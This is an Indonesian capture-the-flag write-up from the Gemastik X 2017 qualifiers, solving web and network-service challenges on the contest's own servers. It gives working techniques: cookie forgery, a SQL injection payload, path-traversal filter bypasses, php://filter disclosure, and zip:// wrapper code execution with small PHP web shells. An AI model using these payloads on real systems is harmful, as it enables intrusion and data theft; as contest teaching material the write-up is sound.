Anda di halaman 1dari 56

 

 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

KATEGORI​ ​:​ ​WEB​ ​HACKING 

Soal​ ​1​ ​:​ ​Login​ ​&​ ​Register​ ​(50​ ​pts) 


 

"Sebuah​ ​web​ ​memiliki​ ​fitur​ ​untuk​ ​melakukan​ ​login​ ​&​ ​register.​ ​Seperti​ ​biasa,​ ​Anda​ ​ingin
menguji​ ​keamanan​ ​dari​ ​web​ ​tersebut.​ ​Tujuan​ ​Anda​ ​adalah​ ​untuk​ ​mendapatkan​ ​akses​ ​admin​ ​pada
web​ ​tersebut.​ ​Sepertinya​ ​ada​ ​masalah​ ​dengan​ ​Cookie​ ​pada​ ​nilai​ ​'admin'​ ​dan​ ​'verifier'."

Target​ ​:​ ​http​:​//target.netsec.gemastik.ui.ac.id:60011/23a1ef41c84db9e0976be78f83010d91/

Solusi  
Pertama​ ​saat​ ​kami​ ​coba​ ​untuk​ ​register​ ​dengan​ ​field 
Nama​ ​:​ ​hehe 
Email​ ​ID​ ​:​ ​hehe@hehe.com 
Password​ ​:​ ​hehehe 
 
Setelah​ ​itu​ ​kami​ ​coba​ ​untuk​ ​login​ ​dengan​ ​menggunakan​ ​id​ ​yang​ ​telah​ ​kami​ ​buat, 
dan​ ​menurut​ ​deskripsi​ ​yang​ ​diberikan​ ​soal,​ ​kami​ ​coba​ ​untuk​ ​mengecek​ ​cookies 
yang​ ​ada.​ ​Kami​ ​mendapatkan​ ​cookies​ ​untuk​ ​auth​ ​yang​ ​berisikan 
 
%7B%22username%22+%3A+%22hehe%22%2C+%22admin%22+%3A+0%2C+%22verifier%22+%3A+
%22831cfe56bf56b92eca194edbb06aa635%22%7D 
 
yang​ ​mana​ ​apabila​ ​kami​ ​decode​ ​url​ ​nya​ ​menjadi​ ​bentuk  
 
{"username"​ ​:​ ​"hehe",​ ​"admin"​ ​:​ ​0,​ ​"verifier"​ ​: 
"831cfe56bf56b92eca194edbb06aa635"} 
 
 
Kami​ c
​ uriga​ ​dengan​ ​field​ ​verifier​ ​yang​ ​berupa​ ​sebuah​ h​ ash​ ​MD5.​ ​Maka​ ​dari​ ​itu 
kami​ c​ oba​ ​untuk​ ​decrypt​ ​hash​ ​tersebut​ ​dan​ ​didapatkan​ s​ tring​ ​‘admin:0’. 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kemudian​ ​kami​ ​mencoba​ ​mengganti​ ​nilai​ ​cookies​ ​tersebut​ ​dengan​ ​menggunakan 


extension​ ​Chrome​ ​EditThisCookie​ ​dan​ ​mengganti​ ​nilai​ ​admin​ ​menjadi​ ​1​ ​serta 
mengganti​ ​nilai​ ​verifier​ ​menjadi​ ​enkripsi​ ​hash​ ​md5​ ​dari​ ​string​ ​‘admin:1’​ ​yaitu 
ff489bf5eae811c13710596f3db3369f.​ ​Setelah​ ​melakukan​ ​url​ ​encoding​ ​kemudian​ ​kami 
ubah​ ​cookie​ ​auth​ ​menjadi  
 
%7B%22username%22+%3A+%22hehe%22%2C+%22admin%22+%3A+1%2C+%22verifier%22+%3A+
%22ff489bf5eae811c13710596f3db3369f%22%7D. 
 
Dengan​ r ​ efresh​ ​halaman​ ​,​ ​maka​ ​kita​ ​akan​ ​mendapatkan​ ​flag  
 
FLAG​ ​=​ G​ EMASTIK{cookie_challenge_and_off_course_this_is_unrealistic} 

Soal​ ​2​ ​:​ ​Login​ ​&​ ​Register​ ​2​ ​(100​ ​pts) 


 

"Versi​ ​web​ ​ini​ ​adalah​ ​pengembangan​ ​dari​ ​yang​ ​sebelumnya​ ​untuk​ ​memperbaiki​ ​celah​ ​sederhana
yang​ ​ada​ ​pada​ ​versi​ ​terdahulu."

Target​ ​:​ ​http​:​//target.netsec.gemastik.ui.ac.id:60012/2443b2269e1fa1539d0cbf8270a095ab/

Hint​ ​:​ ​Pada​ ​versi​ ​ini​,​ ​verifikasi​ ​Cookie​ ​dilakukan​ ​dengan​ ​menggunakan​ ​database.

$setting​ ​=​ ​json_decode​(​$_COOKIE​[​'auth'​]);

$token​ ​=​ ​$setting​->​token;

//​ ​check​ ​if​ ​token​ ​is​ ​exist​ ​in​ ​database

//​ ​....

//​ ​....

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Solusi  
Pada​ ​awalnya​ ​hingga​ ​sebelum​ ​3​ ​jam​ ​terakhir,​ ​kami​ ​belum​ ​menemukan​ ​ide​ ​sama 
sekali,​ ​terima​ ​kasih​ ​karena​ ​Hint​ ​yang​ ​diberikan​ ​oleh​ ​panitia​ ​membuat​ ​kami 
sadar​ ​bahwa​ ​ini​ ​adalah​ ​soal​ ​SQL​ ​Injection.​ ​Pada​ ​awalnya​ ​kami​ ​melakukan 
registrasi​ ​akun​ ​sama​ ​persis​ ​seperti​ ​soal​ ​Login​ ​&​ ​Register​ ​1.​ ​Saat​ ​kami​ ​login, 
kami​ ​mengecek​ ​cookies​ ​auth​ ​yang​ ​setelah​ ​di​ ​decode​ ​url​ ​nya​ ​menjadi  
 
{"username"​ ​:​ ​"hehe",​ ​"admin"​ ​:​ ​0,​ ​"token"​ ​: 
"0cbc14e2fd28a68774d9d826b675470d"} 
Setelah​ ​melihat​ ​hint,​ ​kami​ ​tahu​ ​bahwa​ ​nilai​ ​token​ ​akan​ ​dicari​ ​pada​ ​database. 
Kami​ ​pun​ ​coba​ ​menebak​ ​query​ ​yang​ ​akan​ ​dijalankan​ ​pada​ ​file​ ​PHP​ ​tersebut​ ​adalah 
SELECT​ ​*​ ​FROM​ ​USER​ ​WHERE​ ​token=’$_GET[‘token’]’ 
 
Oleh​ ​karena​ ​itu​ ​kami​ ​akan​ ​mengisi​ ​token​ ​tersebut​ ​dengan​ ​query​ ​SQL.​ ​Pada 
awalnya​ ​kami​ ​mencoba​ ​untuk​ ​memasukkan​ ​nilai​ ​token​ ​menjadi  
 
token​ ​=​ ​0cbc14e2fd28a68774d9d826b675470d0’​ ​or​ ​1=1​ ​LIMIT​ ​0,1​ ​--  
 
 
Namun​ k
​ ami​ ​tidak​ ​mendapatkan​ ​apa-apa.​ ​Setelah​ ​itu​ ​kami​ ​mencoba​ ​untuk​ ​mengisi 
nilai​ t​ oken​ ​menjadi  
 
token​ ​=​ ​’​ ​or​ ​1=1​ ​LIMIT​ ​0,1​ ​--  
 
Setelah​ ​itu​ ​kami​ ​coba​ ​melakukan​ ​url​ ​encoding​ ​dari​ ​cookies​ ​auth​ ​yang​ ​terbaru 
yaitu  
 
{"username"​ ​:​ ​"hehe",​ ​"admin"​ ​:​ ​1,​ ​"token"​ ​:​ ​"'​ ​or​ ​1=1​ ​LIMIT​ ​0,1​ ​--​ ​"} 
yang​ ​didapatkan  
 
%7B%22username%22+%3A+%22hehe%22%2C+%22admin%22+%3A+1%2C+%22token%22+%3A+%22
%27+or+1%3D1+LIMIT+0%2C1+--+%22%7D 
 
Kemudian​ ​string​ ​hasil​ ​encoding​ ​kami​ ​gantikan​ ​ke​ ​cookies​ ​auth​ ​dan​ ​kami​ ​refresh 
halaman​ ​dan​ ​didapatkan​ ​flag. 
 
FLAG​ ​=​ ​GEMASTIK{belive_it_0r_n0t_this_is_based_on_real_case} 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Soal​ ​3​ ​:​ ​Web​ ​Portfolio​ ​(100​ ​pts) 


 

"Sebuah​ ​web​ ​portfolio​ ​biasanya​ ​dibuat​ ​menjadi​ ​static​ ​web​ ​yang​ ​hanya​ ​terdiri​ ​dari​ ​client​ ​side
scripting.​ ​Namun,​ ​kadang​ ​untuk​ ​hal​ ​sederhana​ ​sekalipun​ ​tetap​ ​saja​ ​ada​ ​yang​ ​membuatnya​ ​dengan
server​ ​side​ ​scripting​ ​seperti​ ​PHP."

Target​ ​:​ ​http​:​//target.netsec.gemastik.ui.ac.id:60013/f48d89678975d340fe860d08b3c03d1d/

Info​ ​:​ ​Konfigurasi​ ​yang​ ​mengakibatkan​ ​soal​ ​ini​ ​menjadi​ ​lebih​ ​sulit​ ​diselesaikan​ ​sudah
diperbaiki​.​ ​Silahkan​ ​coba​ ​kembali.

Solusi  
Diberikan​ ​sebuah​ ​website​ ​yang​ ​mana​ ​file​ ​gambar-gambar​ ​tersebut​ ​ditaruh​ ​pada 
direktori​ ​images/work/nama-file​ ​dan​ ​akan​ ​dipanggil​ ​pada​ ​work.php​ ​serta​ ​dengan 
Request​ ​Body​ ​project.​ ​Kami​ ​berpikir​ ​ini​ ​adalah​ ​permasalahan​ ​Local​ ​File 
Inclusion​ ​(LFI).​ ​Pada​ ​awalnya​ ​kami​ ​mencoba​ ​untuk​ ​melakukan​ ​command​ ​linux​ ​curl 
untuk​ ​mendapatkan​ ​file​ ​work.php​ ​yaitu​ ​: 
 
curl​ ​-v 
http://target.netsec.gemastik.ui.ac.id:60013/f48d89678975d340fe860d08b3c03d1
d/work.php?project=../../work.php 
 
Terdapat​ ​balasan​ ​yaitu  
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Dengan​ ​melihat​ ​pada​ ​Warning​ ​yang​ ​diberikan​ ​kami​ ​mendapatkan​ ​bahwa​ ​readfile 
yang​ ​seharusnya​ ​menjadi​ ​images/work/../../work.php​ ​malah​ ​menjadi 
images/work///work.​ ​Kami​ ​menyadari​ ​bahwa​ ​terdapat​ ​filter​ ​di​ ​file​ ​work.php 
untuk​ ​menghapus​ ​string​ ​yang​ ​masuk​ ​pada​ ​object​ ​‘project’​ ​dengan​ ​filter 
menghapus​ ​string​ ​‘..’​ ​dan​ ​string​ ​‘php’.​ ​Dengan​ ​menebak​ ​bahwa​ ​filter​ ​hanya 
dilakukan​ ​satu​ ​kali​ ​saja,​ ​kami​ ​coba​ ​untuk​ ​melewati​ ​filter​ ​tersebut​ ​dengan 
memasukkan​ ​nilai​ ​project​ ​menjadi​ ​.php./.php./work.pphphp.​ ​Setelah​ ​itu​ ​kami 
coba​ ​eksekusi​ ​command​ ​curl​ ​yaitu​ ​: 

curl​ ​-v 
http://target.netsec.gemastik.ui.ac.id:60013/f48d89678975d340fe860d08b3c03d1
d/work.php?project=.php./.php./work.pphphp 

Dan​ ​akan​ ​didapatkan​ ​response​ ​sebagai​ ​berikut​ ​yang​ ​juga​ ​berisikan​ ​flag 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

FLAG​ ​:​ ​GEMASTIK{i_dunno_why_simple_lfd_is_pretty_common} 

Soal​ ​4​ ​:​ ​Image​ ​Cloud​ ​(150​ ​pts) 


 

"Komputasi​ ​awan​ ​menawarkan​ ​kemudahan​ ​akses​ ​karena​ ​data​ ​Anda​ ​tersimpan​ ​di​ ​internet.​ ​Namun,
ini​ ​berarti​ ​keamanan​ ​data​ ​Anda​ ​bergantung​ ​pada​ ​penyedia​ ​layanan​ ​tersebut."

Target​ ​:​ ​http​:​//target.netsec.gemastik.ui.ac.id:60014/81b8c729faf7b221ff4cb1a1770b8be6/

Hint​ ​:​ ​http​:​//php.net/manual/en/wrappers.php

Solusi  

Diberikan​ ​suatu​ ​web​ ​service​ ​yang​ ​memberikan​ ​fitur​ ​untuk​ ​upload​ ​gambar.​ ​Ketika 
kami​ ​coba​ ​inspect​ ​element,​ ​kami​ ​menemukan​ ​bahwa​ ​input​ ​nya​ ​accept=”image/jpeg”. 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kami​ ​mencoba​ ​untuk​ ​upload​ ​gambar​ ​dan​ ​berhasil.​ ​Kami​ ​mendapatkan​ ​hash​ ​dari​ ​nama 
file​ ​kita.​ ​Kemudian​ ​kami​ ​coba​ ​beberapa​ ​trial​ ​dengan​ ​menggunakan​ ​Burp​ ​Suite 
untuk​ ​upload​ ​file​ ​non​ ​gambar​ ​yaitu​ ​file​ ​tes.txt​ ​yang​ ​berisi​ ​teks​ ​“hehe”​ ​dan 
kami​ ​coba​ ​untuk​ ​upload​ ​file​ ​tes_2.txt​ ​yang​ ​berisi​ ​teks​ ​“hehe”​ ​juga​ ​ternyata 
kami​ ​mendapatkan​ ​link​ ​hash​ ​yang​ ​kita​ ​lihat​ ​adalah​ ​sama.​ ​Setelah​ ​mencari​ ​tahu, 
ternyata​ ​kami​ ​mendapatkan​ ​bahwa​ ​nilai​ ​hash​ ​yang​ ​diberikan​ ​adalah​ ​hash​ ​md5. 
Disini​ ​saya​ ​dapat​ ​menyimpulkan​ ​bahwa​ ​hash​ ​yang​ ​dibuat​ ​adalah​ ​hash​ ​md5 
berdasarkan​ ​isi​ ​dari​ ​file​ ​yang​ ​dikirimkan,​ ​dan​ ​tidak​ ​tergantung​ ​pada​ ​nama 
file.​ ​Namun​ ​untuk​ ​previewnya​ ​kami​ ​mendapatkan​ ​response​ ​Error.​ ​Setelah​ ​beberapa 
jam​ ​berlalu​ ​kami​ ​tidak​ ​bisa​ ​solve​ ​soal​ ​ini​ ​karena​ ​tidak​ ​ada​ ​ide.​ ​Setelah 
mendapatkan​ ​hint​ ​dari​ ​admin​ ​yaitu​ ​php​ ​wrapper,​ ​hal​ ​pertama​ ​yang​ ​kami​ ​coba 
adalah​ ​fungsi​ ​dari​ ​php://filter.​ ​Dengan​ ​belajar​ ​dari​ ​sumber 
https://infamoussyn.com/tag/php-wrappers/​​ ​kami​ ​mencoba​ ​untuk​ ​melakukan​ ​lfi 
dengan​ ​menggunakan​ ​php​ ​wrapper​ ​pada​ ​index.php. 

1. Kami​ ​coba​ ​coba​ ​jalankan​ ​command​ ​untuk​ ​mendapatkan​ ​index.php 

curl​ ​-v 
http://target.netsec.gemastik.ui.ac.id:60014/81b8c729faf7b221ff4cb1a17
70b8be6/index.php?section=php://filter/convert.base64-encode/resource=
index.php 

Kami​ ​tidak​ ​mendapatkan​ ​base64​ ​yang​ ​kami​ ​cari 

2. Kemudian​ ​kami​ ​coba​ ​ambil​ ​resource​ ​nya​ ​index​ ​saja​ ​tidak​ ​menggunakan 
extensi​ ​.php​ ​dan​ ​didapatkan​ ​base64​ ​yang​ ​apabila​ ​kami​ ​decode​ ​didapatkan 
file​ ​index.php 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kami​ ​menyimpulkan​ ​bahwa​ ​kami​ ​bisa​ ​menjalankan​ ​LFI​ ​pada​ ​section​ ​karena 
potongan​ ​kode​ ​include($section.”.php”);​ ​yang​ ​mana​ ​fungsinya​ ​tidak​ ​difilter​ ​dan 
kami​ ​bisa​ ​memasukkan​ ​apapun​ ​yang​ ​nantinya​ ​akan​ ​ditambahkan​ ​ekstensi​ ​.php 
dibelakangnya.​ ​Maka​ ​dari​ ​itu​ ​kami​ ​coba​ ​untuk​ ​menjalankan​ ​command​ ​sebelumnya 
dengan​ ​resource​ ​valuenya​ ​menjadi​ ​upload,​ ​uploaded,​ ​dan​ ​image​ ​untuk​ ​mendapatkan 
file​ ​upload.php,​ ​uploaded.php​ ​dan​ ​image.php​ ​yang​ ​sebagai​ ​berikut 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Upload.php 

Uploaded.php 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Image.php 

3. Dari​ ​ketiga​ ​file​ ​tersebut​ ​kami​ ​mendapatkan​ ​beberapa​ ​informasi 


a. Nama​ ​file​ ​yang​ ​diupload​ ​akan​ ​dihash​ ​isi​ ​filenya​ ​dengan​ ​menggunakan 
hash​ ​md5 
b. File​ ​akan​ ​disimpan​ ​pada​ ​direktori​ ​/gemastik-uploads/ 
c. Nama​ ​file​ ​akan​ ​menjadi​ ​hash-md5.file​ ​(dengan​ ​ekstensi​ ​.file) 
d. Image.php​ ​hanya​ ​akan​ ​menampilkan​ ​gambar​ ​yang​ ​berupa​ ​jpeg,​ ​png, 
bmp,​ ​maupun​ ​gif.​ ​Otherwise​ ​dia​ ​akan​ ​menampilkan​ ​pesan​ ​Error​ ​untuk 
file​ ​non​ ​gambar​ ​meskipun​ ​ekstensi​ ​file​ ​yang​ ​kami​ ​kirimkan​ ​adalah 
ekstensi​ ​file​ ​gambar 
4. Dari​ ​ketiga​ ​kesimpulan​ ​itu​ ​kami​ ​coba​ ​untuk​ ​upload​ ​file​ ​coba.php​ ​yang 
hanya​ ​berisikan​ ​<?php​ ​echo​ ​“Hehe”;​ ​?>​ ​saja​ ​untuk​ ​melakukan​ ​Remote​ ​Code 
Execution​ ​(RCE).​ ​Namun​ ​ketika​ ​mencoba​ ​ternyata​ ​filenya​ ​tidak​ ​dapat 
berjalan.​ ​Maka​ ​dari​ ​itu​ ​kami​ ​coba​ ​untuk​ ​menggunakan​ ​wrapper​ ​lain​ ​yaitu 
wrapper​ ​zip:// 
5. Diawal​ ​kami​ ​coba​ ​untuk​ ​zip​ ​file​ ​coba.php​ ​dengan​ ​command​ ​zip​ ​-0​ ​coba.zip 
coba.php.​ ​Kemudian​ ​file​ ​tes.zip​ ​kami​ ​upload​ ​ke​ ​web​ ​service​ ​tersebut. 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kami​ ​coba​ ​menebak​ ​nilai​ ​hash​ ​nya​ ​yang​ ​mana​ ​nilai​ ​hash​ ​dari​ ​file​ ​tes.zip 
kami​ ​adalah​ ​2ccd9b0163dc7a0ff653e558cb8b1865.  
6. Kami​ ​coba​ ​jalankan​ ​command​ ​curl​ ​namun​ ​kali​ ​ini​ ​dengan​ ​menggunakan 
wrapper​ ​zip://​ ​yaitu 

curl​ ​-v 
http://target.netsec.gemastik.ui.ac.id:60014/81b8c729faf7b221ff4cb1a1770b8be
6/index.php?section=zip://gemastik-uploads/2ccd9b0163dc7a0ff653e558cb8b1865.
file%23coba 

Dan​ ​kami​ ​dapatkan​ ​response 

7. Yeay​ ​terlihat​ ​bahwa​ ​code​ ​coba.php​ ​bisa​ ​dieksekusi​ ​secara​ ​remote.​ ​Oleh 
karena​ ​itu,​ ​kami​ ​langsung​ ​mencoba​ ​untuk​ ​upload​ ​script​ ​shell.php 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

<?php​ ​echo​ ​shell_exec('ls');​ ​?> 

Setelah​ ​dijalankan​ ​script​ ​itu​ ​dan​ ​dilakukan​ ​proses​ ​seperti​ ​diatas, 


didapatkan​ ​response​ ​berupa  

Dan​ ​ternyata​ ​kami​ ​berhasil​ ​mengeksekusi​ ​command​ ​-ls​ ​di​ ​server.  


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

8. Kami​ ​mencoba​ ​untuk​ ​membuka​ ​file​ ​flag-is-in-__here__.php.​ ​Maka​ ​dari​ ​itu 


kami​ ​coba​ ​buat​ ​untuk​ ​script​ ​php​ ​baru​ ​shell2.php​ ​yaitu 

<?php​ ​echo​ ​shell_exec('cat​ ​flag-is-in-__here__.php');​ ​?> 

Setelah​ ​melalui​ ​proses​ ​yang​ ​sama​ ​kami​ ​mendapatkan​ ​isi​ ​dari​ ​file​ ​tersebut 
ternyata​ ​berisi​ ​flag​ ​yang​ ​mana​ ​responsenya​ ​adalah  

Flag​ ​:​ ​GEMASTIK{_inclusi0n_eXclusi0on_eXecuti0n_____} 

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Soal​ ​5​ ​:​ ​Alien​ ​Invasion​ ​(200​ ​pts)​ ​-​ ​Unsolved 


“Alien​ ​Invasion​ ​adalah​ ​sebuah​ ​web-based​ ​game.​ ​Anda​ ​dapat​ ​mengunduh​ ​source​ ​code 
dari​ ​game​ ​tersebut​ ​di​ ​bawah.” 

Target​ ​: 
http://target.netsec.gemastik.ui.ac.id:60015/d2e6866760841f70cbd402f02e4654ea/  

Hint​ ​:​ ​Chaining​ ​signature​ ​forgery​ ​with​ ​'something' 

   
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

KATEGORI​ ​:​ ​Network​ ​Service 

Soal​ ​1​ ​:​ ​Python​ ​Auth​ ​(50​ ​pts) 


 

"Suatu​ ​layanan​ ​jaringan​ ​client​ ​&​ ​server​ ​yang​ ​melakukan​ ​otentikasi​ ​dibuat​ ​dengan​ ​menggunakan
Python​ ​3.​ ​Berkas​ ​client.py​ ​dan​ ​server.py​ ​yang​ ​digunakan​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​python3​ ​client​.​py​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60001

Solusi  

Perhatikan​ ​fungsi​ ​handle​ ​berikut​ ​pada​ ​server.py​ ​:  

class​​ ​incoming​(​socketserver​.​BaseRequestHandler​):

​ ​ ​ ​ ​def​​ ​handle​(​self​):

​ ​ ​ ​ ​ ​ ​ ​ ​req​ ​=​ ​self​.​request

​ ​ ​ ​ ​ ​ ​ ​ ​recv​ ​=​ ​req​.​recv​(​256​)[:-​1]

​ ​ ​ ​ ​ ​ ​ ​ ​cred​ ​=​ ​recv​.​split​(​b​':')

​ ​ ​ ​ ​ ​ ​ ​ ​if​​ ​cred​[​0​]​ ​==​​ ​b​"admin"​​ ​and​​ ​cred​[​1​]​ ​==


b​"b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8":

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​flag​ ​=​ ​open​(​'flag.txt'​,​ ​'r'​).​read​().​encode​(​'utf-8')

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​req​.​sendall​(​b​"Authentication​ ​Success​ ​%s\n"​​ ​%​ ​flag)

​ ​ ​ ​ ​ ​ ​ ​ ​else:

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​req​.​sendall​(​b​"Authentication​ ​Failed")
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​ ​ ​ ​ ​req​.​close​()

Dapat  dilihat  bahwa  server  hanya  melakukan  split  pada  message  yang  dikirim 
client,  kemudian  membandingkannya  dengan  string  b’admin’  dan 
b’b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8’.  

Penyelesainnya  dapat  diperoleh  dengan  memodifikasi  client.py  yang  ada  untuk 


mengirimkan​ ​user:password​ ​sembarang.​ ​Berikut​ ​client_modified.py​ ​:  

#!/usr/bin/python3

import​​ ​getpass

import​​ ​hashlib

import​​ ​socket

import​​ ​sys

if​​ ​len​(​sys​.​argv​)​ ​<​ ​3:

​ ​ ​ ​ ​print​(​"Usage:​ ​./%s​ ​IP​ ​Port"​​ ​%​ ​sys​.​argv​[​0​])

​ ​ ​ ​ ​exit​()

host​ ​=​ ​sys​.​argv​[​1]

port​ ​=​ ​int​(​sys​.​argv​[​2​])

username​ ​=​ ​'admin'

password​ ​=​ ​'b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8X'

s​ ​=​ ​socket​.​socket​(​socket​.​AF_INET​,​ ​socket​.​SOCK_STREAM)

s​.​connect​((​host​,​ ​port​))

s​.​send​((​username​ ​+​ ​":"​​ ​+​ ​password​).​encode​(​'utf-8'​))

response​ ​=​ ​s​.​recv​(​40000)

print​(​response​.​decode​(​'utf-8'​))

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Jalankan​ ​dengan​ ​$​ ​python3​ ​client.py​ ​target.netsec.gemastik.ui.ac.id​ ​60001 

FLAG​ ​:GEMASTIK{problematic_client_side_hashing}  

Soal​ ​2​ ​:​ ​Random​ ​String​ ​Generator​ ​(75​ ​pts) 


 

"Layanan​ ​jaringan​ ​ini​ ​menggunakan​ ​socat​ ​untuk​ ​melakukan​ ​forking​ ​terhadap​ ​berkas​ ​program
Python.​ ​Program​ ​Python​ ​yang​ ​dijalankan​ ​memiliki​ ​fungsi​ ​untuk​ ​melakukan​ ​generate​ ​random
string.​ ​Berkas​ ​random-string-generator.py​ ​yang​ ​digunakan​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

